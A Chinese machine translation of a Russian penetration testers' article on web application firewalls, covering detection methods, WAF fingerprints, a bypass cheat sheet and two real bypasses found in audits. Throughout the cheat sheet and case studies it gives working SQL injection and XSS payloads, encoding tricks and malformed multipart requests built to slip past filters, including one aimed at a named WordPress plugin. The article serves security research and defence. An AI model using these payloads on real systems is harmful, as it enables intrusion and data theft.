通过黑客眼中的WAF

今天,我们将讨论Web应用程序的一种现代安全机制,即Web应用程序防火墙(WAF)。 我们将讨论现代WAF以及它们的基础,以及旁路技术,如何使用它们,以及为什么您永远不应完全依赖WAF。 我们是从渗透者的角度说的; 我们从未开发过WAF,而仅从开源收集数据。 因此,我们只能参考自己的经验,并且可能不知道WAF的某些特殊性。




免责声明:这是将文章从俄语翻译成英语的文章,该文章分别于2017年底发布,某些信息可能会过时。

目录内容


  1. 引言
  2. 现代WAF
  3. 识别WAF
  4. WAF旁路备忘单
  5. 在实践中绕过WAF
  6. 结论

如果您知道为什么使用WAF以及它们如何工作,则可以直接跳至旁路部分。

引言


WAF最近变得非常流行。 供应商针对不同的客户(从小型企业到大型企业)提供不同价格范围,分发工具包和选项的各种解决方案。 WAF之所以受欢迎,是因为它们是保护Web应用程序的复杂解决方案,涵盖了所有任务。 这就是为什么Web应用程序开发人员可以在某些安全方面依赖WAF的原因。 虽然,WAF无法授予完全安全性。



那么,WAF应该有什么能力证明其在项目中的实施合理性? 根据WAF的分析,其主要功能是检测和阻止任何有异常或攻击媒介的请求。 该分析不得妨碍合法用户与Web应用程序之间的交互,同时必须准确,及时地检测到任何攻击尝试。 为了实现此类功能,WAF开发人员使用正则表达式,令牌化程序,行为分析,声誉分析以及机器学习。 通常,所有这些技术都一起使用。 WAF还可以实现其他功能:DDoS保护,禁止攻击者的IP,监视可疑IP,添加安全标头(X-XSS-Protection,X-Frame-Options等),在cookie中添加仅http标志,实现HSTS机制和CSRF令牌。 另外,某些WAF具有用于网站的JavaScript客户端模块。

当然,WAF为黑客和渗透者创造了一些障碍。 WAF使发现漏洞和利用漏洞的资源更加密集(除非攻击者知道特定WAF的有效0day绕过方法)。 在分析受WAF保护的Web应用程序时,自动扫描程序几乎没有用。 WAF是针对“脚本”的可靠保护。 但是,经验丰富的黑客或研究人员如果没有足够的动力,可能不想浪费时间尝试绕过它。 应当注意,越复杂的Web应用程序的受攻击面越大,并且越容易找到旁路方法。

在我们最近的审核中,我们经常会找到不同的WAF。 稍后我们将讨论其中一些。 我们已经在两个主要场景中测试了两个专有的WAF:

  • 我们知道网络应用程序中存在一定的漏洞,因此我们尝试绕过WAF加以利用。
  • 我们不知道任何漏洞,因此尽管有WAF,我们仍然必须找到一个漏洞,然后绕过WAF加以利用。

但是首先,让我们仔细看看WAF背后的基本机制,看看它们有什么问题。

现代WAF


为了能够有效地找到各种绕过WAF的方法,首先,我们需要找出现代的请求分类机制。 每个WAF都是特定且唯一的,但是有一些通用的分析方法。 让我们来看看那些。



基于正则表达式的规则


现有的大多数WAF使用基于正则表达式的规则。 开发人员研究一组特定的已知攻击,以识别可能指向攻击的关键句法结构。 基于此数据,开发人员将创建查找此类语法结构的正则表达式。 听起来很简单,但是这种方法有某些缺点。 首先,可将正则表达式仅应用于单个请求,甚至单个请求参数,这显然会降低此类规则的效率,并留下一些盲点。 其次,正则表达式的语法和文本协议的复杂逻辑(允许替换为等效结构并使用不同的符号表示形式)在创建这些规则时会导致错误。

成绩建立


那些了解网络防火墙和防病毒软件如何工作的人应该熟悉这种机制。 它不检测攻击,而是补充其他机制,使攻击更加精确和灵活。 事实是,请求中的“可疑”结构不足以检测攻击,可能会导致许多假阳性。 通过实施分级系统可以解决此问题。 每条基于正则表达式的规则都由其重要性信息提供补充; 在确定所有触发规则之后,将总结其重要性。 如果总关键程度达到阈值,则检测到攻击并阻止请求。 尽管简单,但该机制仍然有效,并已广泛用于此类任务。

分词器


这种检测方法在Black Hat 2012上作为C / C +库libinjection提出 ,它可以快速,准确地识别SQL注入。 目前,有许多针对不同编程语言的libinjection端口,例如PHP,Lua,Python等。 该机制搜索以一组令牌表示的签名。 一定数量的签名被列入黑名单,它们被认为是有害的和恶意的。 换句话说,在分析某个请求之前,它会被转换为一组令牌。 令牌分为某些类型,例如变量,字符串,常规运算符,未知数,数字,注释,类联合运算符,函数,逗号等。 该方法的主要缺点之一是可能会构建一个结构,从而导致令牌的错误形成,因此请求签名将与预期的有所不同。 这些结构通常称为令牌破坏者,我们将在后面讨论

行为分析


检测和阻止请求中的利用尝试不是WAF的唯一任务。 确定漏洞搜索的过程也很重要,并且WAF必须做出相应的反应。 它可能表现为扫描尝试,目录暴力,参数模糊处理以及其他自动方法。 先进的WAF可以建立通常正常行为的典型请求链,并阻止发送异常请求的尝试。 这种方法并没有太多地检测攻击,因为它阻碍了漏洞搜索的过程。 限制每分钟的请求数量不会影响普通用户,但对于在多个线程中工作的扫描仪来说,这将是一个严重的障碍。

信誉分析


这是直接从防火墙和防病毒继承的另一种机制。 如今,几乎所有WAF都包括VPN,匿名器,Tor节点和僵尸网络的地址列表,以阻止来自这些地址的请求。 先进的WAF可以根据分析的流量自动更新其基准,并用其他条目对它们进行补充。

机器学习


这是WAF最可疑的方面之一。 让我们注意一下,“机器学习”一词非常广泛,包括许多技术和方法。 此外,它只是AI的一类。 机器学习的“实施”或“人工智能的使用”是非常流行的营销短语。 并不总是确切地使用哪种算法并不总是很清楚,有时看起来像是胡言乱语。 那些真正使用机器学习并有效地进行机器学习的供应商不愿意分享他们的经验。 这使局外人很难弄清情况。 不过,让我们尝试根据可用信息提出一些意见。

首先,机器学习完全依赖于其训练的数据,这带来了一定的问题。 开发人员应该拥有最新的完整攻击基础,这很难实现。 这就是为什么许多开发人员彻底记录其WAF的结果并与提供IDS和SIEM系统的供应商合作以获取实际攻击示例的原因。 其次,在抽象的Web应用程序上训练的模型在实际的Web应用程序上可能完全无效。 为了获得更好的质量,建议在实施阶段额外训练一个模型,这是资源密集型和费时的,但仍无法获得最佳结果。

识别WAF


WAF开发人员使用不同的方式来通知用户该请求已被阻止。 因此,我们可以通过分析对攻击请求的响应来识别WAF。 这通常称为WAF指纹。 如果WAF由于某些原因未更新(大多数情况下适用于开源项目),则指纹可以提供帮助。 专有WAF的开发人员关心其客户并实施自动更新。 另外,一旦我们确定WAF已被更新,我们仍然可以使用有关它的信息来学习有关其逻辑的知识。

以下是可能的WAF指纹列表:

  • 其他Cookie
  • 任何响应或请求的附加头
  • 响应内容(如果请求被阻止)
  • 响应码(如果请求被阻止)
  • IP地址(Cloud WAF)
  • JS客户端模块(客户端WAF)

让我们用一些例子来说明

自动对焦
阻止请求的响应代码:403
可以将客户端模块waf.js插入响应页面
回复正文:

<h1>Forbidden</h1> <pre>Request ID: 2017-07-31-13-59-56-72BCA33A11EC3784</pre> 

由waf.js添加的额外标头:

 X-RequestId: cbb8ff9a-4e91-48b4-8ce6-1beddc197a30 

Nemesida WAFF
阻止请求的响应代码:403
回复正文:

 <p style="font-size: 16px; align: center;"> Suspicious activity detected. Access to the site is blocked. If you think that is's an erroneous blocking, please email us at <a href="mailto:nwaf@pentestit.ru">nwaf@pentestit.ru</a> and specify your IP-address. </p> 

Wallarm
阻止请求的响应代码:403
附加头:nginx-wallarm

Citrix NetScaler App防火墙
其他Cookie:

 ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000; ns_af_.target.br_%2F_wat=QVNQU0VTU0lP TklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA 

Mod_Security版本 2.9
阻止请求的响应代码:403
响应主体:

 <head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /form.php on this server.<br /></p> 

Mod_Security版本 <2.9
阻止请求的响应代码:406或501
在响应正文中,您可以找到mod_security,Mod_Security或NOYB

清漆防火墙
将以下标头添加到响应中:

 X-Varnish: 127936309 131303037. X-Varnish: 435491096 Via: 1.1 varnish-v4 

WAF开发人员自行决定在请求被阻止的情况下返回哪个响应代码。 还有一些特定的代码。 例如,Web_Knight WAF返回代码999,而dotDefender返回带有空响应正文或错误消息的代码200。 除此之外,开发人员还可以创建包含其他内容的自定义响应页面。

与其他任何应用程序一样,WAF也在不断发展和变化。 这就是为什么不断检查所拥有指纹的相关性很重要的原因。

WAF旁路备忘单


找到绕过WAF的方法的总体思路是转换我们需要的请求,以便它对于Web应用程序仍然有效,但对于WAF无效,或者看起来无害。 一种类型的WAF必须能够服务于许多不同类型的服务器,包括Unicorn,Tornado,Weblogic,Lighttpd等“异国”服务器,这一点很重要。 每个服务器可能会以不同的方式感知HTTP请求解析的例外情况,WAF也应考虑这种情况。 因此,攻击者可以使用服务器的HTTP请求解析的详细信息来找到绕过WAF的方法。



很难通过WAF安全机制或使用领域对所有绕过WAF的可能方式进行分类。 相同的旁路方式可能相互作用并同时影响WAF的不同组件。 下面描述的技术是从开源收集的,或者是在我们自己的研究中发现的,被证明是最有效的技术之一。

添加特殊符号


各种特殊符号可能违反WAF的分析逻辑,并且同时可以由服务器有效解释。 这些符号的变体可能不同:它们可以转换为urlencode(尽管大多数WAF都可以处理)或其他编码。 还可以将原始格式的特殊符号插入到请求中,而无需任何编码,这可能会使WAF感到惊讶。 例如,本演示文稿中的\ r \ n \ r \ n可以看作HTTP请求正文的结尾,而空字节可能完全违反正则表达式和数据解析器的分析逻辑。 同样,可以使用ASCII表的前二十个符号中的其他特殊符号。
范例:

  • 0x00-空字节
  • 0x0D-回车;
  • 0x0A-换行;
  • 0x0B-垂直制表符;
  • 0x09-水平标签;
  • 0x0C-新页面

在搜索旁路时,将特殊符号插入请求正文中的不同位置非常有用,而不仅是在参数值中插入。 例如,如果请求采用JSON格式,则可以在JSON的开头和结尾将NULL字节插入参数中和参数之间。 这同样适用于POST请求正文的其他格式。 通常,我们建议您进行研究并从中获得乐趣,寻找可以被WAF监视和解析的地方,并尝试在其中使用其他特殊符号。

例如:

 {"id":1337,"string0x00":"test' or sleep(9)#"} {"id":1337,"string":"test'/*0x00*/ or sleep(9)#"} {"id":1337,"string"0x0A0x0D:"test' or sleep(9)#"} 

 <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> <a 0x00 href="javascript:alert(1)">clickme</a> <svg/0x00/onload="alert(1)"> 

 id=1337/*0x0C*/1 UNION SELECT version(), user() -- 

为了清楚起见,我们将特殊符号替换为其十六进制表示形式。

替换空格符号


在大多数语法中,关键字和运算符必须分开,但是没有指定首选的空格符号。 因此,可以使用0x0B (“垂直”选项卡)或0x09 (“水平”选项卡)代替通用的0x20 (空格)。 用没有各自含义的分隔结构替换空间属于同一类别。 在SQL中,它是/ ** / (多行SQL注释), #\ r \ n (单行SQL注释,以换行结尾), -\ r \ n (单行SQL注释,以结尾结尾) (带有换行)。 以下是一些示例:

 http://test.com/test?id=1%09union/**/select/**/1,2,3 http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3 

另外,我们可以使用语言的语法来转换表达式以消除空格。 例如,在SQL中,我们可以使用括号:

 UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin')) 

在JS中,使用/

 <svg/onload=confirm(1)> 

更改编码


此方法基于使用不同的编码来防止WAF在某些位置解码数据。 例如,如果将符号替换为其URL代码,则WAF将无法理解其必须解码数据并将传递请求。 同时,相同的参数将被Web应用程序接受并成功解码。

HTML符号的十进制形式为&#106&#0000106 .WAF可能知道短版本,而不知道带有附加零的版本(总共不应超过7个符号)。 以同样的方式,HTML符号的十六进制形式为&#x6A&#x000006A

使用反斜杠\来转义字符也有一个技巧,例如:

 <svg/on\load=a\lert(1)> 

不过,这取决于Web应用程序如何处理此类输入数据。 因此,序列\ l将作为l处理并转换为单个符号; WAF可以分别处理每个符号,并且可以破坏正则表达式或其他WAF逻辑。 因此,WAF将丢失关键字。 使用此技术,我们无法转义字符\ n\ r\ t ,因为它们将转换为不同的字符:换行符,回车符和制表符。

HTML编码可在标记属性内使用,例如:

 <a href="javascript&colon;alert(1)">clickme</a> <input/onmouseover="javascript&colon;confirm&lpar;1rpar;"> 

这些字符可以很容易地用目标字符的另一个HTML表示代替。 您可以在此处查找字符的不同转换。

除了HTML编码,我们还可以使用\ u插入字符:

 <a href="javascript:\u0061lert(1)">Clickme</a> <svg onload=confir\u006d(1)> 

我们还要看一下与插入特殊字符有关的向量。 让我们用HTML编码打破有效载荷:

 <a href="ja&Tab;vas&#x0000A;cript:alert(1)">clickme</a> 

在这种情况下,我们还可以放置其他分隔字符。

因此,我们建议将不同的编码与其他方法结合使用,例如,对特殊字符进行编码。

搜索非典型的等效句法结构


该方法旨在找到WAF开发人员未考虑的利用方式,或找到机器学习训练样本中不存在的载体。 简单的例子是JavaScript函数: this,top self,parent,frames; 标签属性: 数据绑定,toggle,onfilterchange,onbeforescriptexecute,onpointerover,srcdoc; 和SQL运算符: lpad,field,bit_count

以下是一些示例:

 <script>window['alert'](0)</script> <script>parent['alert'](1)</script> <script>self['alert'](2)</script> 

 SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 

您还可以使用JavaScript表达式的非符号表示形式:


一个明显的问题是有效载荷长。

使用此技术的WAF旁路取决于攻击和被利用的技术堆栈。 著名的ImageTragick漏洞利用就是一个很好的例子。 大多数防止这种攻击的WAF都将url ,Capacity和label等列入黑名单的关键字,因为在描述此漏洞的大多数论文和PoC中都提到了这些单词。 尽管很快发现,也可以使用其他关键字,例如短暂pango 。 结果,可以通过使用这些关键字来绕过WAF。

HTTP参数污染(HPP)和HTTP参数碎片(HPF)


HPP攻击基于服务器如何解释具有相同名称的参数。 以下是一些可能的绕过方法:

  • 服务器使用最后一个接收到的参数,而WAF仅检查第一个;否则,WAF仅检查第一个。
  • 服务器将来自类似参数的值组合在一起,然后WAF分别检查它们。

您可以在下表中比较不同服务器如何处理相同参数:



反过来,HPF攻击是基于不同的原理。 如果Web应用程序的逻辑在请求中组合了两个或更多个参数,则对手可以将请求划分为绕过某些WAF检查的方法。
以下SQL注入是此类攻击的示例:

 http://test.com/url?a=1+select&b=1+from&c=base 

HPF和HPP非常相似,但是第一个针对Web应用程序,第二个针对Web应用程序运行的环境。 组合使用这些技术会增加绕过WAF的机会。

Unicode规范化


Unicode规范化是Unicode的一项功能,旨在比较相似的Unicode符号。 例如,符号“ª”“ᵃ”具有不同的代码,但在其他方面非常相似,因此在归一化之后,它们都看起来像一个简单的“ a”,并且被认为是相同的。 通过规范化,可以将一些复杂的Unicode符号转换为更简单的替代方案。 有一个Unicode规范化表,其中包含所有Unicode符号及其可能的规范化。 使用它,您可以制作不同的有效负载,并将它们与其他方法结合在一起。 虽然,它不适用于所有Web应用程序,并且非常依赖于环境。

例如,在上表中,我们可以看到符号转换为简单< 。 如果应用在规范化后使用HTML编码,则规范化的符号<很可能会被编码为&lt; 。 但是,在其他情况下,开发人员可能忽略了此功能,而不是编码的Unicode符号。 因此,我们得到了非HTML编码的符号<> ,它们可以变成XSS攻击。 WAF在理解Unicode符号时可能会遇到麻烦-它可能根本没有此类技巧的规则,并且机器学习也可能没有用。 在使用Unicode规范化在Web应用程序中找到旁路时,我们不仅可以替换<> ,还可以替换有效负载中的其他符号。

例如:

 <img src﹦x onerror=alert︵1)> 

最近,在HackerOne的Rockstar BugBounty程序中发现了此问题。 没有WAF,只有严格的用户输入过滤:

hackerone.com/reports/231444
hackerone.com/reports/231389

令牌破坏者


对令牌生成器的攻击试图借助所谓的令牌破坏器打破将请求拆分为令牌的逻辑。 令牌破坏符是允许影响字符串元素和某个令牌之间的对应关系的符号,因此可以绕过签名搜索。 但是,当使用令牌破坏器时,请求必须保持有效。 以下请求是使用令牌破坏器进行攻击的示例

 SELECT-@1,version() 

其中-@是令牌破坏者。

mysql模糊化并检查libinjection中的结果获得了一张清单。

有关发现libinjection问题的更多信息:

另一个模糊器
绕过绒毛
如何绕过libinjection

使用RFC的功能


在HTTP / 1.1协议和各种请求类型(例如,multipart / form-data)的规范中,我们可以找到一些与边界情况以及处理标头和参数的技巧有关的奇特的东西。 WAF开发人员通常不会考虑此类问题,因此WAF可能会错误地解析请求,并丢失部分隐藏了攻击媒介的数据。 WAF中的大多数问题与多部分/表单数据的处理以及边界参数的特定值有关,边界参数指定了此类请求中的参数边界。 除此之外,服务器开发人员可能也会犯错,并且不完全支持规范,因此服务器的HTTP解析器中可能存在未记录的功能。

在具有multipart / form-data的HTTP请求中,参数边界负责在请求正文中隔离不同的参数。 根据RFC,必须在每个新的POST参数之前放置一个带有前缀“-”的预先指定的边界,以便服务器能够区分请求的不同参数。

 POST /vuln.php HTTP/1.1 Host: test.com Connection: close Content-Type: multipart/form-data; boundary=1049989664 Content-Length: 192 --1049989664 Content-Disposition: form-data; name="id" 287356 --1049989664-- 

该攻击还可能基于以下事实:服务器和WAF不同地处理边界留空的情况。 根据RFC,在这种情况下,“-”是参数之间的边界。 但是,WAF可能会使用不考虑该解析器的解析器,因此,WAF将传递请求,因为POST请求参数中的数据不会出现在分析器中。 Web服务器可以毫无问题地解析此类请求,并将数据移交给进一步处理。
这是一些更有趣的例子。

 POST /vuln.php HTTP/1.1 Host: test.com Connection: close Content-Type: multipart/form-data; boundary= Content-Length: 192 -- Content-Disposition: form-data; name="id" 123' or sleep(20)# ---- 

我们将从BoooM在ZeroNights 2016的幻灯片中给出一些更有趣的示例,并对其进行解释:

 POST /vuln.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; boundary=FIRST; Content-Type: multipart/form-data; boundary=SECOND; Content-Type: multipart/form-data; boundary=THIRD; --THIRD Content-Disposition: form-data; name=param UNION SELECT version() --THIRD-- 

在此攻击中,我们试图定义WAF接受哪些边界参数以及Web服务器接受哪些边界参数。 因此,如果他们接受不同的参数,则可以通过指定WAF无法看到的边界来执行攻击。 这种攻击有点像HPP。

 POST /vuln.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; xxxboundaryxxx=FIRST; boundary=SECOND; --FIRST Content-Disposition: form-data; name=param UNION SELECT version() --FIRST-- 

此攻击基于以下假设:WAF和Web服务器在解析HTTP请求方面存在差异。 即,Web服务器的解析器将查找第一个“边界”条目,然后寻找“ =”符号,仅在此之后定义边界的值。 反过来,WAF解析器仅查找“ boundary =”条目,然后定义边界。 如果满足这些条件,则WAF将不会在请求中找到边界,因此将无法找到和分析参数。 相反,Web服务器将获取请求并处理参数。 该攻击也将以其他方式起作用:Web服务器解析器寻找“ boundary =”,而WAF解析器寻找“ boundary”。 在这种情况下,我们只需要将实际边界从FIRST更改为SECOND。

 POST /somepage.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; boundary=Test0x00othertext; --Test Content-Disposition: form-data; name=param Attack --Test-- 

此攻击还使用特殊字符。 在border参数中,我们添加了NULL字节,以便Web服务器将其截断,但WAF将完全接受它。 在这种情况下,WAF无法分析参数,因为它无法找到其边界。

绕过机器学习


逻辑很简单:我们必须编写满足训练后的统计模型参数的攻击。 但这很大程度上取决于WAF的培训方式和使用的培训模型。 有时可能会发现漏洞,有时则不会。 通常,在实施阶段,具有机器学习功能的WAF需要根据对客户端Web应用程序的请求进行额外的培训。 这给渗透测试者带来了一个问题:看起来相似且在请求之间变化不大的参数无法进行测试,因为与常规参数形式的任何偏离都将被视为异常。 假设有一个向api.test.com/getuser?id=123的请求。 参数id始终为数字,在训练样本中为数字。 如果机器学习模块在此参数中找到数字以外的其他内容,则很可能会确定这是异常情况。 另一个示例:假设对WAF进行了训练,以使用带有markdown文本的POST参数将POST请求分类为api.test.com/setMarkDown 。 显然,降价中可能包含引号,特殊符号以及基本上所有内容。 在这种情况下,因为WAF允许使用引号和特殊符号,所以绕过机器学习模块更容易。

此外,在我们的实践示例中,我们将显示由于上述绕过方法导致的参数解析问题,它并不总是到达机器学习模块。

通常,我们必须考虑经过测试的请求及其参数的细节,假定WAF可以容忍的参数值的任何可能选项,并以此为基础。

WAF什么时候没用?


WAF会分析请求并查找其中的异常行为,但是它无法发现某些类别的漏洞。 例如,逻辑漏洞没有异常,但是有一些操作会破坏Web应用程序的逻辑。 在竞争情况,IDOR和不安全的用户身份验证的情况下,WAF最有可能也是无用的。

现有实用程序


有一些自动工具可以找到WAF旁路,由该领域的爱好者编写。 以下是最著名和最有价值的:

灯泡框架 -用于测试受WAF保护的Web应用程序的整个框架。 它是用Python编写的,另外还被移植为Burp Suite的插件。 它的主要特征是以下两种算法:

  • GOFA-一种主动的机器学习算法,可以分析Web应用程序中参数的过滤和清理。
  • SFADiff-差分黑盒测试算法,基于使用符号有限自动机(SFA)进行的训练。 它允许发现Web应用程序行为的差异,这有助于识别WAF并找到旁路。

绕过WAF -Burp Suite的插件,它允许根据不同的规则和编码更改设置请求正文中元素的自动更改。 它还可以自动执行HPP攻击。

WAFW00F-用Python编写的用于WAF识别的工具。 它具有不错的WAF基础,并且仍在更新中。 但是,由于许多WAF的更新频率比项目本身的更新频率高,因此结果可能不准确。

在实践中绕过WAF




我们一直在对在线商店进行渗透测试,该商店受到PT AF (正技术应用防火墙)的保护。 很难找到一个弱点,这可能是绕过的基础。 但是很快我们就发现了Web应用程序一侧的异常行为,该行为未被WAF过滤。 在购买商品的历史搜索中发现了异常。 该请求以JSON格式发送,如下所示:

 {"request":{"Count":10,"Offset":0,"ItemName":"Phone"}} 

我们将Phone'Phone'+'的值放入ItemName参数中,发现服务器针对这两个请求返回了不同的响应。 在第一种情况下,响应为空; 在第二种情况下,它包含其他商品的数据,名称中带有“ 电话 ”字样,就好像参数ItemName的值为Phone 。 这种行为在黑客和渗透测试者中是众所周知的,并指出该应用程序存在用户输入过滤问题,从而导致SQL注入。

让我们看看为什么在SQL注入示例中会发生这种情况。 如果在Web应用程序中发现了这种行为,则SQL请求的数据很可能与请求本身串联在一起。 在第一种情况下,使用Phone'参数,我们将具有以下SQL查询:

 SELECT item FROM items WHERE item_name='Phone'' 

显然,由于语法错误,它不会执行,也不会返回任何结果。 第二个请求,带有Phone'+'参数,将如下所示:

 SELECT item FROM items WHERE item_name='Phone'+'' 

它的语法正确,因此它将选择名称为Phone的商品。 在测试受WAF保护的Web应用程序时,这种检测漏洞的方法具有巨大优势。 大多数现代WAF都不认为单引号符号在参数中是足够的异常,因此它们会传递一个请求。

我们已经描述了漏洞检测,但是绕过WAF并利用漏洞怎么办? 经过一些绕过之后,我们在WAF中发现了一个问题。 事实证明,此WAF容易受到添加到JSON参数中的特殊字符的影响。 实际上,如果我们将原始格式(没有任何编码)的JSON符号0x0A,0x0D (\ r \ n或carrige reutrn和换行符)添加到任何文本字段中,则WAF会将其传递给Web应用程序,并将其视为正确并进行处理。 问题很可能出在JSON解析器中,该解析器不是用于特殊符号的,而是在出现这些符号的地方才解析JSON的。 因此,WAF分析器无法获得完整的请求,因此我们可以在特殊字符之后插入任何攻击向量。 除换行符外,其他字符(例如NULL字节)也将起作用。 结果,我们可以编写以下请求,这将在WAF尝试检查该请求时将其关闭(换行符和回车符用其文本表示形式代替):

 {"request":{"kill-waf":"die0x0A0x0D", "Count":10,"Offset":0,"ItemName":["'+(SELECT 'Phone'+CHAR(ASCII(substring(@@version,1,1))-24))+'"]}} 

0x0A和0x0D是原始字节。

因此,我们可以轻松快捷地测试所有参数的任何漏洞(在其他参数中发现了其中的几个)。 绕过WAF并利用此注入使我们完全可以损害Web应用程序的所有用户。

Nemesida WAF中也发现了相同的问题。 唯一的区别是,该请求不是采用JSON编码的,而是带有参数的常规POST请求,并且参数已作为数字包含在SQL查询中。 如果将某些符号放置在以url编码的请求中,例如%03%04,则WAF阻止请求,但是如果以原始形式放置的符号没有url编码,则WAF会忽略此请求。 值得注意的是,普通的SQL表达式和以前的WAF一样都放置在请求中。 SQL表达式是简单的“ UNION SELECT”,没有任何其他混淆,这意味着WAF根本无法正确解析请求并进一步进行分析。 但是有一个问题-如何使SQL查询语法正确? 因为在SQL查询中使用%03%04这样的特殊字符是不正确的。 答案很简单-我们只需要使用注释/ ** /。 因此,结果请求如下所示:

 /*0x03 0x04*/1 UNION SELECT version(), user() -- 

0x03和0x04是原始字节。

另外,在Nemesida WAF中发现了另一个问题。 这与对包含多部分/表单数据的POST请求的不正确处理有关。 如下所述,在具有multipart / form-data的HTTP请求中,参数边界负责在请求正文中隔离不同的参数。 根据RFC,必须在每个新的POST参数之前放置一个带有前缀“-”的预先指定的边界,以便服务器能够区分请求的不同参数。
因此,问题在于,当边界参数为空时,服务器和WAF处理情况的方式有所不同。 基于RFC,在这种情况下,参数之间的边界将是字符“-”的序列。 但是,WAF使用了不考虑此功能的解析器,这就是WAF再次传递请求的原因,因为POST请求参数中的数据根本没有进入分析器模块,并且服务器对这种情况进行了解析而没有任何问题并将数据进一步处理。 这是对此攻击的示例请求:

 POST /wp-content/plugins/answer-my-question/modal.php HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary= Content-Length: 209 -- Content-Disposition: form-data; name="id" 1 UNION SELECT 1,2,3,CONVERT(version() USING utf8) AS name,CONVERT(user() USING utf8) AS name,6,7,8,9,10,11,12 FROM wp_users WHERE id=1 ---- 

这两个问题都已报告给Pentestit,他们为Nemesida WAF的错误赏金计划提供了奖励,并尽快解决了这些问题。 谢谢他们。

正如我们所看到的,WAF可能是现代而智能的,但是有时仅添加一个特殊字符就可以绕开它们。 今天,我们无法预见开发阶段所有服务器的所有可能输入数据,而为实现这一目的而实施的机器学习偶然发现了解析器被特殊字符卡住的情况。

结论


那么,我们应该完全依靠WAF吗? 答案是否定的。

在我们的一项审核中,我们发现了WAF旁路,该漏洞使我们可以利用某些漏洞。 事实证明,在受WAF保护之前,开发人员已经对该Web应用程序进行了审核,并且发现了相同的漏洞。 他们决定不购买它们,而是决定购买配备了机器学习功能的现代WAF。 可惜的是,WAF的供应商没有坚持要首先修复漏洞。 也许开发人员自己认为WAF是更好的选择。 但是我们不确定。 无论哪种方式,对于开发人员和供应商而言,这都是一个非常糟糕的做法的例子。 还应该指出,机器学习仍然是一个黑匣子,看起来更像是一种营销手段,而不是真正的防御手段。

通常,WAF是一种现代安全解决方案,并且与Web应用程序配合使用不会造成任何伤害。 尽管今天,它只能阻止漏洞搜索和利用的过程,但是它不能完全保护他们不受攻击。 就目前而言,这已经是相当长的一段时间了。 只能通过更正与Web应用程序相关的代码来修复Web应用程序中的漏洞,这是唯一的万无一失的解决方案。

贡献者

伊利亚·布拉托夫(Ilia Bulatov)
丹尼斯·雷宾( the Denis Rybin)
亚历山大·罗曼诺夫 web_rock

Source: https://habr.com/ru/post/zh-CN454592/


All Articles